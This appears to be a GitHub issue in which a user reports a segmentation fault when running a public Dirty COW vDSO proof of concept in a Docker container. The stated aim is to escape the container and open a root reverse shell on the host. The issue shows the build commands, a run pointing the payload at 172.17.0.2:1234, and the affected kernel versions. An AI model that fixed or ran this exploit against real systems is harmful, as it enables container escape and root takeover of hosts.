-
Notifications
You must be signed in to change notification settings - Fork 927
Description
I'm trying to escape the container and get a root shell from host machine using https://github.com/gebl/dirtycow-docker-vdso (based on https://github.com/scumjr/dirtycow-vdso) to experiment the PoC. This actually compiles the binary inside the container. But while executing ends up with an error Segment fault.
root@7e6fad945815:/# cd dirtycow-vdso/
root@7e6fad945815:/dirtycow-vdso# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
root@7e6fad945815:/dirtycow-vdso# ./0xdeadbeef 172.17.0.2:1234
[*] payload target: 172.17.0.2:1234
[*] exploit: patch 1/2
Segmentation fault
Host Machine Details: (VirtualBox 5.1.26 VM - Ubuntu 16.04.1)
Linux ubuntu-xenial 4.4.0-43-generic #63-Ubuntu SMP Wed Oct 12 13:48:03 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Docker version 1.12.3, build 6b644ec
Container image Ubuntu 14.04.5 LTS
I have also tried compiling the binary in the host machine and copied inside the container as well as downloaded pre-compiled binary from the wild and tried to execute inside the container too. Also, I've tried Kernel versions 4.4.0-21, 4.4.0-31 on Ubuntu 16.04 server too. But all of them ends up with the same error message Segment fault. What am I doing wrong? Could someone please help in fixing this to escape the container and drop in host machine root shell?